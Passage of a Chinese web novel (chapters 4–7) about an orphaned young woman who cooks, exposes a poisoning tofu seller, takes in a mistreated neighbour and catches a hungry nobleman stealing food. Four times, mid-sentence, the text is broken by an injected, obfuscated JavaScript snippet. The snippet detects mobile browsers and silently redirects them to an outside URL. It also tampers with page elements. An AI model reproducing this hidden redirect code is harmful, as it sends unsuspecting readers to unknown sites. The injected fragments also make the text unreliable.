“好你个豆腐郎！仗着村里只有你一家做豆腐的，竟敢往里头下毒！” 李青苗和小秋手拉着手，远远缀在人群后头。 刚才蓝锦就嗅出了豆腐里的不对，叫小秋去找李婶子，最好能请到村长，带人去张家豆腐坊找证据。 亏得小秋人小却伶俐，一五一十转达清楚，而且竟一查一个准。 也不怪村长一惊一乍。实在是他家女儿就爱吃软滑的豆腐，喜欢那个口感。 他买了不知多少次！还因此给了张家不少便宜。 他家旭云腹泻的毛病一直不好，少不得就是豆腐坏的事。 村里的孩童，患小儿腹泻的极多，他还以为惹了送子娘娘。这下知道，绝对是豆腐闹的！ 这丧门星，他赚黑心钱赚得手软，懂不懂人丁的重要啊！懂不懂啊！ 张货郎看见布袋的时候，人就失了魂。他一向掺着用，从未失过手。 这下当场人赃并获，村民们的议论声比刚才听八卦时大多了。 “黑心烂肺！得叫他赔，赔钱！” “害人玩意，自己心是脏的，还来污蔑人家小娘子。” “这次得亏蓝小娘子发现啊，不然，谁知道什么时候就吃死人了。” 张家大侄子软脚蟹一只，趁人不注意，灰溜溜跑回了家。 ** “村长老爷！是那小娘皮悔婚，嫁祸我家侄子啊！” 村长要把张货郎送县里裁决，毕竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541947|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牵涉年月长、范围广，性质很恶劣！ 张货郎的父母不吭声，张媒婆倒是不依不饶咬蓝锦。 蓝锦笑了：“张媒婆，你有什么依据，说我定过婚？” 张媒婆打了个磕巴：“你，你伯父找的我......” “哦？大伯只让我们好好过，从没提婚事。若他找过你，你就把钱退给我，我们正好缺银子。” “退什么钱！我从来没拿过你家银子！” “连媒人银都没收过，剃头挑子一头热，张罗婚事竟是这个章程！” 村长家门口闻风而动的人群快把门槛都挤破了，指指点点： “那不就是没这回事嘛！还平白攀扯人家小娘子。” “孤女就是可怜，谁都能来踩一脚。” 蓝锦傲起脖子：“你们老的冒充亡亲名义哄骗人，小的中伤污蔑，还做有毒吃食，一家子黑心鬼！” 张媒婆还想哭，村长把桌子一拍：“行了！张家再去蓝小娘子家找事，统统送去服徭役！” 这下全哑了声。都知道，徭役可是要死人的。 几个大汉捆着张货郎送走了，人群也被驱散了。村长单留下了蓝锦，全然换了副神色： “小娘子奔波投亲，身子骨可是大好了？” 还不待蓝锦有反应，就拿出几样东西： “小娘子放心，你伯父托我办的户籍文书，已经妥了。说来也怨我......” 蓝锦接过几张薄纸一看，岳素秋，年六岁。蓝锦，年十六。二人落在一户，是堂姐妹。 自己那张，写了家中遭洪灾投亲，自立门户于落霞村云云。 蓝锦猜测，她的身份，大概是岳家夫妇的手笔。 还有一张岳明义、唐红蒲因徭役丧生的表彰簿。 纪村长小声道：“其实也不是全怨我。人都说，宫里太后跟那位斗法，这才使徭役失衡，竟能致死。” 蓝锦一时不知道说什么才好。 村长又说：“你看，你这又找出了毒豆腐，合该是村里的大功臣！” 大功臣的待遇——全村最大最好的一辆驴车，以后专给她一个人用。 谁要想借，都得跟蓝锦打商量。 蓝锦很快就从哭笑不得，到发现其中妙处。 跟要想富、先修路一个道理。 有了代步工具，她的买卖会更好！ 小秋还被村长夫人霍鸿飞办的村学收了，免束脩。 这更叫蓝锦高兴。 此后，她再去山里找东西，都是牵着驴的。 也是该她运气好，在松树林底下，她竟然发现了一片地蘑。 蓝锦高兴地一扫光，一朵也不剩。 翻开潮湿的落叶层，岩石缝里还有几片地皮菜！ 蓝锦出离兴奋了。四下望望，见没有人盯着，鬼鬼祟祟拿小刀都割了下来。 这可是难得的鲜美之物。寒冬腊月的，竟然找到这个，她简直是天选之女！ 突然，身后又传来“咣当”一声。 蓝锦僵住了。不是吧？再来个尸体，她可受不住。 上回那个还消失了，像被野兽叼去了，一片碎布都没剩下。 阿弥陀佛，别怨她。她势单力薄，真是罪过。 5. 第5章 兴许是有驴子陪着，蓝锦胆子大上许多，到底去查看了。 不是上次那样的黑衣人，是一个穿着粗布衣裙的女娘。 这一看就身份明确，是村里人，她好像还见过。 一探鼻下还有气，蓝锦慌忙往她嘴里灌盐糖水。 自从赚了点钱，蓝锦就给自己和小秋备上了这个，姐妹俩营养不好，白日里时不时就喝上一口。 就是水壶丢了一只，害得她还斥巨资重买了一个。 蓝锦怀里的女娘一阵呛咳，悠悠醒转。 “琴姐姐，你还好吗？” 蓝锦知道她是安琴，原是在县里大户人家做大丫鬟，到了年岁放出来，回了收养她的姑丈家。 “咳，咳，蓝小娘子......” 蓝锦又喂了她几口馒头，让驴子驮着她，一起回家了。 小秋刚下学回来，正兴冲冲地要跟姐姐讲今天认识的“田”字。 一个方块分四瓣，就是“田”，真跟庄稼田一样！认字真有意思！ 等毛驴走近，她的小眉头也皱起来。娘亲当时也是这样被驮回来的。 “姐姐，我帮你。”姐妹俩一起，把安琴扶上炕。又喂了些东西，她脸色才好转。 一问才知道，安琴已经好些天没正经吃上饭了。 姑丈一家本就当她是拖油瓶，忍着把安琴带回来的银子哄完了，彻底不装了。 把她当仆人使不说，吃口东西都被冷嘲热讽，动辄打骂。 她逼不得已，也进山找吃的，这才晕在那。 得亏叫蓝锦碰上，不然这冰天雪地的，晕上一会就能要人命！ “他们真不是好的！琴姐姐，你以后就来我们家，我们一起过！”小秋很生气。饶是她这么小，也懂了，人命是多宝贵啊。 她愿付出一切，换她的家人不要去天上，还跟她一起生活。 蓝锦欣慰地看着正义感十足的小秋，没有反驳。 毕竟，小秋才是岳家的一家之主不是？ ** “琴姐姐，这块板子要压实。”蓝锦抱着一块石头，往大缸里的木板上放。 她正在教安琴做豆腐。 安琴不愿回那个家，但也倔强地不愿占姐妹俩的便宜。 她连赁房子的钱都给不起。 最终，三人在岳家门外垒了个小茅草屋，安琴暂时住着。 说好等安琴攒了点钱，就住进岳家。 一个独身女子，怎么赚钱？ 去县城给安琴抓药的时候，蓝锦在中药铺看到了生石膏，当下就打定了主意。 村里的豆腐郎没了，旁人不会做，家家都吃不上豆腐。 这不是巧了？蓝锦前世亲眼见过人做豆腐。 现在，人人都用不纯净的盐卤点豆腐。若她能用石膏点，做出的豆腐肯定更好吃。 这事对别人难，对她来说一点不难。试了几次配比，白花花的豆腐真做成了。 “蓝小娘子，你真是神了，什么都会，还这么心善。”安琴感激极了，蓝锦把能传家的手艺教给她了。 “想报答我啊？琴姐姐你就多做点豆腐，我可是厨子，需要豆腐的地方多的是！” 不出几日，走街串巷的豆腐货郎换成了安琴。 “老豆腐嘞，嫩豆腐，绢豆腐嘞，豆腐花哟~” 众人闻声而来，对着花样繁多的豆制品啧啧称奇： “原来豆腐还能做成这样，张家那小子果然是骗我们钱的。” “这都是蓝小娘子教的，还用的山泉咧，她连豆腐都侍弄得比别人好。”安琴骄傲极了。 果真，豆香十足！大家直呼，原先吃的，那是什么腌臜东西，也配叫豆腐！ ** 小秋今日没课，她拉着蓝锦的手，蹦着唱着往山里走。 碰上嫩草，就薅一把，喂给她亲爱的大朋友——毛驴。 姐妹俩是来打酸枣的，这是蓝锦新发现的。毛驴背上驮了两大筐，今天要给它们填满！做酸枣糕。 “姐姐，这是不是酸枣子？” 蓝锦一看，不是，却比那还好，这是山楂！ 冻过的山楂滋味更浓，蓝锦夸着小秋慧眼识珠，拿竹竿子打个不停。 小秋弯下腰转着圈捡，短胳膊短腿，不住地往怀里揣，还要扭开过来抢食的驴脑袋： “这是我姐姐的！你不许吃！” 蓝锦防着树枝打到小秋，笑着帮腔：“让它吃，酸倒了牙，它就不试了！” 果然，小秋看着皱起来的驴脸，哈哈不停：“酸倒驴了！酸倒驴了！” 蓝锦把掉下来的树枝扎成两捆。真不错，顺便捡了柴禾。 酸倒驴早已踱步到远处，远离无情的姐妹俩，和危险的红果子。 现在不知找到了什么，耐心地啃食。 把柴禾一背，蓝锦拉着小秋追上去。 嚯，毛驴在啃玩萝卜缨子！是山里的野萝卜。 蚊子再小也是肉。这萝卜虽然瘦骨伶仃的，对她们来说也是好东西，完全能当个小菜了。 “小秋，你一来，我运气都好了！好东西一个接一个。” 蓝锦非常高兴，珍惜地把她从前看都不会看一眼的瘦萝卜放进筐里，计划着回家腌小菜。 “霍夫子说了，这叫好人有好报。”小秋一板一眼道。 上了学的孩童就是不一样，蓝锦更开心了。 酸枣子也打到了。蓝锦一手牵着毛驴，一手拉着小秋，心情愉悦往家走。 走到大路上，叫青苗婶子拦住了。 “锦娘，你把安小娘子收留了？” “也不能算吧，只是在家门口帮她垒了个窝棚。” 青苗婶子压低了声音：“她那什么姑丈可不是善茬，心黑手黑，你不怕他报复你？” 蓝锦倒真想过。她也算和那家站了两个立场，难免遭人恨。 “我小心提防着呐，天天都去村长家转一圈。不过，也没见有什么动静。兴许他榨干了钱？怂了？” 唯一一次动静，是她好端端在路上走着，突然听到后头有一声惨叫。 她握紧了柴刀转身一看，那什么姑丈正躺在地上，就跟被人暴揍了一顿似的，人事不省。 这什么招数，不能是来碰瓷她的吧？ 蓝锦拔腿就跑，撇得一干二净。 “没有，真没有。”蓝锦仔细回想了一圈，摇了摇头。 “那就行，若有事，你就来找婶子，别怕！”青苗婶子还是酷酷的。 蓝锦却再不肯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541948|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放她走，把她拖回家里，非要让她尝尝自己的手艺。 前些日子采来的地皮菜，已经刷洗干净，又晒干了。 这种长在岩石苔土上的小菌菇，自带一种鲜美的山野气。 咬起来像雨打苔藓，有咯吱吱的胶质感。 后世饭馆常拿它来炒鸡蛋。因它难料理，常卖得高价。 谷氨酸和菌菇的鲜味相互映衬，吃起来只觉心尖痒酥酥，像滴起了春雨。 怪道说，有地方管它叫“情人的眼泪”。 蓝锦慷慨地打了好几个鸡蛋，盐和油也舍得放。 一大盘地皮菜炒鸡蛋上了桌，又鲜又香。饶是李青苗矜持再矜持，还是动了筷。 鲜美！好吃！真好吃！恨不得把舌头也吞了。 李青苗这辈子吃过的饭菜加在一起，都没有这盘地皮炒鸡蛋好吃。 “锦娘，这贵吧？给我吃就糟践了。拿去县里大酒楼，不，拿去天都，保准有人抢，我说的！” 李青苗放下筷子。 蓝锦抱着她的胳膊撒娇：“婶子就会抬举我。你要是不吃，我和小秋怎么吃得下。” 这段时间，经过蓝锦的追肥，加上源源不断又不收钱的豆腐，小秋的小脸明显鼓起来了，红扑扑的有了血色。 她正吃得红光满面，鼻尖尖上都坠了地衣，闻言也把筷子一放：“我也不吃！” 李青苗无奈，重新端起碗。 半掩的门扉后钻出一个毛茸茸的小脑袋，眼珠子一动不动盯着她们饭桌上的盘子，哈喇子都要流下来了： “蓝姐姐，你们家，这么好看啊！” 李青苗笑骂：“馋丫，我看你别叫大丫，就叫馋丫！” 蓝锦笑嘻嘻地把人拉到饭桌前，递上一副筷子。 大丫闷头吃了一大口，才有心思说： “娘还说呢，家里没饭，你跑到蓝姐姐家吃独食！这么香的独食！你一个人吃！” 她原是在树林子里捡蝉蜕，喂小猫，猫一个个不稀得搭理她。 一抬头，那不是她娘亲吗？ 悄没声跟上一瞧，好哇！ 大丫报复性地吃了好几口。 香啊！真香！她打出生起就没吃过这么香的菜。 咬起来还艮啾啾的，这不比肉美多了？ 她打赌，学堂里所有小孩，都没吃过这等好菜。包括欺她小的二狗，县里来的五娘！ 说不定连霍夫子都没吃过咧。 李青苗不搭理大丫，只一个劲鼓捣蓝锦，把这菜卖给有钱人。 蓝锦也想。如果她有什么随身空间，什么灵泉，随时能得到地衣，她真就去了。 唉，还是一步一步来吧。 安琴担着扁担吆喝了一天，人饿得像张薄纸。 “快进来，给你留了地皮菜炒鸡蛋，可香了！” 蓝锦边笑边走向灶台，掀开锅盖一看，什么？！ 一满碗地皮炒鸡蛋，不翼而飞！ 小偷人还怪好的，还把没刷的碗给她留下！ 蓝锦恨得牙根子痒痒。麻绳专挑细处断，偷她家的东西，也好意思？！ 还是安琴过来安慰蓝锦，说就当是她吃过了。 蓝锦才咽不下这口气，她非要把这个小偷揪出来。 6. 第6章 “锦娘，来赶集呀？” “是啊，婶子，谢谢你家的菘菜。” “嗨，你们姐俩好好过啊！瞧这日子，越过越带劲！” 蓝锦家物美价廉的扁担菜，帮大家改善了生活. 酸菜粉，干煸豆角，菘菜炖粉条，锅塌豆腐，烧茄子，菜团子，西红柿炒鸡蛋...... 买一份，够全家吃一餐！ 她家连酱油都跟别家不一样。那滋味，现在想起来还流口水。 吃一口想三天。 是以，村里好些姑姐婶娘们，都爱给蓝锦送东西，遇上了就夸她几句。 蓝锦笑着颠了一下背后的箩筐，给肩上的绳子换个位置。 沉甸甸的，里头有她新做好的山楂糕和酸枣糕。 前些日子下了场雪。正巧今天天气和暖，又是个大集，好些手头宽裕的人家会带着孩子出来玩。 酸甜可口的糕点肯定走俏。 蓝锦穿过鸡、鸭摊子，卖磨刀石和木桶的农具摊子，卖烧饼和油条的面食摊子。 她来到阎梨花家的玩具摊旁。梨花姐手工活做得巧，不管是剪纸还是小灯笼，木雕还是泥人，都活灵活现。 她俩一早就说好，蓝锦卖糕点，她卖玩具。两厢一搭伙，谁也不碍着谁的生意，反而更引客。 “你来啦。”阎梨花递给小秋一把精致的拨浪鼓，谢蓝锦教她做竹蜻蜓的点子。 这小小的玩意不费多少功夫，用料也省，可很受欢迎，她已经卖出好几个了！ 小秋扎了两个小髻，一笑脸上两个小肉窝，讨喜得像个年画娃娃。 她把鲜红的拨浪鼓摇得“咚咚”直响，路过的孩童都忍不住慢下脚步。 蓝锦见缝插针，拿小竹签戳上小块山楂糕和酸枣糕，请大家试吃。 “好吃，母亲！我要吃这个。”三岁多的小男孩正是嘴急的时候，不等娘亲反对就吞下了肚。 “母亲，我要！就要这个！妹妹也要！” 陆初芸扶额。你妹妹牙都没长，要什么？ 乡野粗物，能有什么好东西。 若不是大雪封路，她们一家也不会被困在这种地方，缺衣少食的。早赶到万年县，让丈夫补县令缺了。 人拗不过天，一家四口在这耽搁了几天，今哥儿就耐不住性子了。听了外头热闹，非要出来玩。 “外头的东西不干净，回去让阿红给你做。” “我不要，我不！好难吃！”小胖娃人小力大，竟是挣脱了陆初芸的手，在地上打起滚来。 蓝锦倒是补了一句：“这位夫人，我家也有孩子，东西绝对是干净的。” 小秋全然不受影响，不动如山地坐在桌子上，拿着一块赤红糕点，用糯米牙慢慢啃，享受极了。 雪一样的小脸小手，衬得山楂糕越发红得可爱。 假嚎的间隙里，小胖娃从指缝偷看。 吃甜糕的小女娃，一定是在嘲讽他。 眼见围观的人越来越多，陆初芸面皮都红了。狠了心朝死孩子屁股上来了几下，硬给拖走了。 跟在后头的阿红撂下一句“对不住”，急忙追上去。 小胖娃还是念念不忘。 刚才那一小口，酸得人流口水。又甜丝丝，软软的，一抿就化了，比他吃过的所有糖都好吃。 那个画一样的小孩，吃得可真香啊，一口接一口的。她有那么大，那么大一块！ 集市的摊子有多长，他就嚎了有多远。 “别哭了，你什么好东西没吃过？亏了你了？什么香的臭的也敢往嘴里放！” 他嚎得更大声了。不甘心，实在是不甘心啊！ 直到陆初芸把他扔进被子里，他还在嚎。 “小娘子，你家的红糕还有吗？”阿红折返回来，跑得满脑门子汗。 “这位娘子，你来得不巧，今天的都卖没了。”蓝锦正在收摊。 阿红眼尖，“这......你家筐里，不还有吗？” 她指着小秋的小背篓。 “这个可不卖，这是留给姐姐们的！”小秋护食，拿小胳膊盖住。 阿红来之前得了嘱托，务必买到。 她跺了跺脚，拿出几枚碎银：“我出这么多，全要了，行不行？” 蓝锦惊讶了一下，刚才不还说外头的东西不干净，坚决不买的样子吗？ 阿红又苦着脸，说自家小主子哭闹个不停，就差背过气去了。 姐妹俩背过身去，咕咕哝哝地商量了。留下两块给安琴，其他都卖了。 蓝锦到底不是黑心奸商，只挑了最小的一枚碎银收了，还说了以后摆摊再遇上，随她拿。 阿红仿佛得了救星，忙不迭捧回去了。 银子虽小，二百文总值的。 意外之财就要花出去。蓝锦拉着小秋二度光顾布摊。 姐妹俩的衣服都是满身补丁，合该买一身新衣裳。 “老板，这个红袄怎么卖？” “小娘子眼光真好！这是我家最好的冬衣，颜色鲜亮！给你实在价，三百文，你拿走。” 蓝锦悻悻地撒开手。 她觉得那些不最好的冬衣，看起来也蛮暖和的嘛。 小秋拉着她的衣角，小声道：“姐姐，我不要红色的。” 蓝锦摸摸小秋脑袋，心想，以后一定给我们宝宝买件红的。 现下，她们还是一人挑了一件淡蓝色的。蓼蓝染的，便宜。 “我家小妹个头小，这孩子衣裳，不能卖得比大人的还贵，还讲不讲道理了？” 蓝锦不依不饶地砍价，终究是用一枚小碎银买了两套衣衫。姐妹俩开心得，回家都像踩着风火轮。 两人窝在炕上，兴奋地试新衣服。耶，不用穿补丁衣了。 家里没镜子，姐妹俩充当对方的镜子，臭美地互相夸，好看！ 门吱呀一声被推开，安琴走进来，一脸无奈地看着她俩疯玩。 “琴姐姐，我美不美？” “小秋呢？小秋美不美？” “美，美极了！天上的神仙都没有你俩好看。” 安琴把两双崭新又扎实的棉鞋递过来：“试试看，合不合脚。” 合适，又合脚又暖和，舒服得不行。 “琴姐姐，你居然会做鞋，还专门给我们做！” “你怎么不说，你还教我点豆腐呐？” 安琴左看右看，尺寸确实正好，她也笑了。 “说你们姐俩讲究，挤脚的薄鞋还在穿，还往鞋上打补丁。说你们不讲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541949|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 究，那吃食又侍弄得跟酒楼菜似的。” 蓝锦贴过来：“琴姐姐，那不是没钱嘛！” “多大人了，还跟个小孩子一样。怎么也不知道给自己做身衣服，做双鞋穿。” 安琴又想起姐俩都孤零零的，长辈早亡，兴许还没学过，忙住了嘴。 蓝锦倒没往那想，只问她的豆腐生意： “近来可顺手？可不能白天忙得昏头昏脑，回来还要点灯熬油给我们做鞋。” “顺利，顺利”，生意又红火，流程又熟了，“时间宽裕，我才做的”，安琴笑得很暖，近乎慈爱。 “那正好！琴姐姐，我一早就想好了。等你上手了，我们就做新东西。” “豆干，腐竹，千张，素鸡，炸腐皮......每一样都好吃！我的扁担菜也能添些新花样。” 蓝锦蓬勃的事业心也鼓舞了安琴，日子好像一下子就叫希望浸透了。 ** “嘘”，有动静了。 蓝锦和小秋鬼祟地躲在自家灶间的柴禾堆后，盯着灶台上的红烧鱼。 香味勾人馋虫，还好小秋垫过肚子。不然，这会子光是咽口水声，就把小偷惊跑了。 蓝锦已经和这个神秘小偷斗智斗勇好几回了。 其他什么东西都没丢，只有灶间失了窃。 正好，门口时不时甩来的神秘鲜鱼，充当了诱饵。 蓝锦变着花样做鱼，香煎的，清蒸的，鱼丸汤，家烧的......一次次设下空城计，香飘十里。 最后，鱼都进了小秋的肚子，小偷一次也没上勾。 蓝锦不放弃，吃她那么一大盆地皮菜炒鸡蛋，这人肯定是个惯偷，胆子大得很！ 兴许是口味不合？这小偷，竟然还挑食。 今天，山里挖的雪里蕻腌渍得差不多了。 蓝锦用了自己酿的味极鲜酱油，大张旗鼓地煮了一锅雪菜红烧鱼。 咸鲜十足，荤香诱人，她就不信那人不来偷。 倏地一下，自窗棂上方伸出来一只手，拈起一枚蓝锦刚刚随手搁下的山楂糕。 蓝锦把碗移走。 不一会，那手又伸过来，东摸摸，西摸摸，摸不到东西，把头往下一探。 “唰”地一下，蓝锦把长布条往这脑袋上一套一扭，双手用力。 布条一头固定在墙上，一时难以挣脱。 “逮到了，琴姐姐，逮到了！”小秋高喊。 安琴拿着把铁锹，从墙根绕到灶间窗台外，上去就是一杵子。 来人咣当一下掉到地上。 哈哈，跟她斗。蓝锦得意地笑了。 她可是万事俱备，安排了三人的台词走位，先演了一出“全家都去堂屋吃饭了”的好戏，才在这守株待兔。 不过很快，她就笑不出来了。 “锦娘，怎么说，我们捆去村长家，还是喊人来？” “等一下，这人......这人我好像见过......” 这不是山里头那个黑衣“尸体”吗？ 原来他没死！ 是记恨自己见死不救，讹上她了？ 虽然全然不关她的事，蓝锦还是莫名有些心虚。 “抬......先抬进屋里问问吧。” 7. 第7章 萧仁禹觉得伽蓝寺老衲说得对，他今年流年不利，命有大劫。 他以后再也不说人家是天都第一神棍了。 自上月起，痴迷武略的大哥归家。率父亲的遗部打了几回胜仗，人就飘了。 给萧家军扬名还不满足，还要锤炼他单兵野外生存。 “禹哥儿，我去你值房，把你不愿用的假都告了。你说说你，攒那么多假干嘛，这次就去山里头好好玩！” 萧世子笑得爽朗。 萧仁禹仰头望天，不叫眼泪流下来。 打工人都懂年假的含金量！ 他不是没想过逃，可神出鬼没的萧世子，就在附近练兵。 他一跑出某个范围，立马有人给他扔回山里。 又是苦果子，又是腥兔子，山里就没点别的！ 他不过就是......对食物的要求讲究了一点，谁承想竟会饿晕在深山老林。 要不是喝了口不可名状的甜汁子，人就噶了。 丢人，太丢人了，他的优雅人生都被萧仁肃给毁了！ “咳，咳......” “你醒啦？”芙蓉花一样的女娘凑在面前，笑容无限放大。 萧仁禹精神一振。 “你还记得吗？你晕在了我家门口，还拿着我家山楂糕！我刚回来，吓了一跳，差一点就把你当成贼人了呢。”蓝锦娓娓洗脑，笑得邪魅。 萧仁禹晕晕乎乎的，是这么回事吗？ 他怎么记得已经吃上了，嗯，香甜软糯，他爱得很。 就算他好几天没吃上合心意的食物，饿得眼冒绿光，也不该晕过去啊。 “再饿，也不该偷人东西，对不对？”蓝锦半诱哄半教育，“你看，这一碗糕都送你，填饱肚子，找个活计，别再来了哈。” 萧仁禹挣扎着起身，口中“嘶”的一声，后肩一阵抽痛。 安琴在蓝锦身后偷偷缩了下脖子。 “我不是故意拿你家食物的，实在是旁的都难以入口，只有你做的好吃，我愿意吃......” 蓝锦斜他一眼。 哪来的大少爷，照她说，还是饿得轻了。 第一回见他的时候，那不会是饿的吧？ 小秋钻到姐姐面前：“霍夫子说了，不问而取是为盗。你就是偷我们家吃的！再夸多少句好吃也是偷！” 蓝锦也抓着话头不放：“就是！我们大人有大量，不追究了。这碗糕是最后一次，两清了，快走。” 别记恨她见死不救，还锤他一铁锹，赶紧走吧。 萧仁禹面有踌躇，他以为送来的那些东西，已经能充饭资了。 又不愿让狼狈的模样现于人前，才这么鬼祟。 他盯着蓝锦的脖子，别扭道：“小娘子对我有救命之恩，不管怎么说，滴水恩，涌泉报。我报了这些时日......” 什么？ 蓝锦连胸膛都挺起来了。 噢噢，原来这么事儿啊，我救了你啊...... “什么报恩？” 萧仁禹有些许惭愧。毕竟，抛除天都生活经验，野外生存中的他，能施展的地方太少了。 很不符合他高岭之花的格调。 “我看鲜鱼你都吃了。” 选这个，是因为他凿冰叉鱼最方便，干净。 那也是他一个洞，一个洞，大青蛙一样，蹲在冰面上杵出来的。 他平素充饥，也是生一堆火，往里一抛，烤成黑炭，闭着眼塞。 导致他现在看鱼就打哆嗦。 眼看蓝锦皱起眉头，他又补充：“不怀好意的小混混也都打了，打了好几顿。你不在的时候也打过。” 蓝锦心里缓缓升起一串问号：“你都在说些什么啊？” 看来是都不满意了。 萧仁禹把身后绑着的水壶还给蓝锦，继续追问： “依你说，我怎么报恩才好？” 蓝锦琢磨了一下，决定空手套白狼。 她目光幽深：“钱，你给了钱就走吧。” 萧仁禹皱了皱眉。 这个逻辑很不符合他的bking人生信条。 其实他信奉做好事不留姓名。 开口谈钱，这跟挟恩图报、满眼算计有什么区别？ 他还最讨厌罔顾自己意愿，让人牵着鼻子走。 就跟那个一出生就降临在他头上、指腹为婚的婚约一样，莫名其妙。 他愤世嫉俗，中气十足，英姿飒爽地回答： “我没有钱！” 面前的三姐妹，看他的眼神都很微妙。 蓝锦心中嗤了一声，看着仪表堂堂的，原来跟她一样，是个穷光蛋。 没钱就没钱，横个什么劲，当谁有钱啊。 她露出一个周扒皮般的笑容，也拔高了声音： “没钱，那就做工！” ** “嗳，锦娘，还是你运道好。随手给口喝的，竟救回这么一个壮劳力。” “是啊，阿婆，我们家小秋说了，这就叫好人有好报。” “哈哈，对，对，小秋是越发知事了，你养得好！” 张阿婆是给蓝锦送麻团的。 自家新炸的麻团，搁了油，糖，芝麻。甜滋滋，脆酥酥，村里人轻易不会做。 “你那草方子真是灵验，我这老腿可算有个安生。往年冬天，寒刺刺的疼，要人命啊。” 药食同源，蓝锦不过顺手割了些药草，效果倒出人意料。 蓝锦再三谢过，递给小秋。她吃得认真投入，引得张阿婆直笑。 萧仁禹在一旁憋屈地收拾萝卜干子。热闹是她们的，他什么也没有。 眼看阿婆走了，他不满地发出抗议。 蓝锦寸步不让：“这给你你吃吗？不给又嚷嚷，给了你又不吃！” 萧仁禹无从反驳，吃了蓝锦做的，他真吃不下别的。 这个蓝小娘子，连馒头都蒸得比别人好吃。 真是很讨厌了。 他仍倔强道：“给不给是另一回事！” 姐妹俩没人理他，因为客人上门了。 蓝锦立马换上甜笑，大声吆喝： “瞧一瞧看一看，猪油酥饼，三文一个。鸡蛋灌饼，只要五文咧！” 小秋也跟着喊：“酸辣汤，酸辣汤，三文一大碗！” 她心里把萧仁禹看作跟她一个地位的，戳戳他，示意他也吆喝。 萧仁禹被迫营业：“灌饼加小食，鸡柳，香肠，肉松，煎腊肉，每样五文！” 小秋点点头，表示很满意。 “这不是卖扁担菜的蓝小娘子吗？如今都开起摊子来了。” “饼就是饼，灌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541950|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饼是什么？还加小食？” “就是有鸡蛋，五文一个也不便宜嘞。” 食物本尊才是最好的宣传，蓝锦正热火朝天做着灌饼。 “夺夺”打散一个鸡蛋，撒葱花调料一气呵成。 手下又快又准，“咻咻”团出一个油面团，按平成饼，撒满白芝麻，往那热腾腾的鏊炉上一摊。 “哧”的一声，柔软的饼皮受热，颤巍巍抖动起来。 热油一煎，白玉似的软面“嘭”一下鼓胀，变成一个小山包。 蓝锦一手拿着窄木片，一手按着薄饼，飞速旋转。 看客眼花缭乱之际，蛋液像小瀑布一样钻进饼芯。噢，原来这么个灌法！ 她给金灿灿的灌饼刷上咸酱，一铲子装进竹节碗，送到口水直流的最佳吃播model小秋手里。 小秋早已抓着筷子，不顾烫口，吹了一吹，就往嘴里送。 旁边有小娘子着急问她：“好吃吗？” 小秋双颊鼓鼓，不等咽下，就要再来上一大口，根本来不及开腔。 “这还用问，孩童吃相最骗不了人，给我来两个这鸡蛋灌饼！” 一个身着短打的蓝头巾汉子挤上前来。 “好嘞！”蓝锦爽利应了声，揪下两个面团揉捏，眼神向瓶瓶罐罐示意。 “您要一个蛋还是两个蛋？加不加小食？喜欢甜酱，咸酱，还是辣酱？” 前排的霍旭云不舍得挪地方：“我要两个蛋的，这些都加，要甜辣的。” 对上身边揶揄的眼神，理直气壮：“看什么，我给我阿爹带的。” 蓝头巾汉子要了辣酱，加两个蛋，拿到手就迫不及待吃上了。 蛋饼外酥里软，咬上一口，暄软却还焦香。 饼不厚，竟还有分层，每层都薄透弹牙，亏她做得出来！ 对着阳光一看，层层透着亮，极是诱人。 更别提均匀铺开的鸡蛋同样吃满了味道，咸鲜勾人。吃了一口，倒还想三口！ “再要四个鸡蛋灌饼，每个加一样小食，要甜咸的。” 蓝头巾汉子忙不迭咽下最后一口，大气排出四十文钱，生怕别人抢光了。 他得带回去给媳妇闺女尝尝。 回头客最有说服力。 蓝锦偷空越过热情的人群一瞧，那个把料加出大满贯的小娘子，她阿爹可能吃不着啦！ 还有机灵人冲摊车上的大锅闻个不停。 “这想是那酸辣汤吧，快揭开盖子给我们瞧瞧呀。” 蓝锦手头这炉还没做上，只指挥萧仁禹给小秋盛一碗。 